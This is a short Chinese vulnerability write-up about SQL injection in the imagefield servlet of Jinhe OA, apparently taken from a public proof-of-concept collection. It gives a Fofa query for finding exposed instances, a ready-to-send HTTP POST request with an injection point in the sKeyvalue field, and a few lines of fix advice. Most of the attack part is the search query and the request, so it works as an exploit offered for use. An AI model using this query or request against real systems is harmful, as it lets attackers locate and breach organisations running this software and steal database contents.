# 金和OA imagefield sql注入

## 漏洞描述

金和OA imagefield sql注入,攻击者可通过此漏洞获取数据库敏感信息，从而为下一步攻击做准备。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. POC(jc6是java版本，c6是net的，之前护网jc6爆出过金格组件上传漏洞，c6一般都是注入比较多)

POST /jc6/servlet/imagefield HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7)

Content-Type: application/x-www-form-urlencoded

key=readimage&sImgname=filename&sTablename=FC\_ATTACH&sKeyname=djbh&sKeyvalue=1\*

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。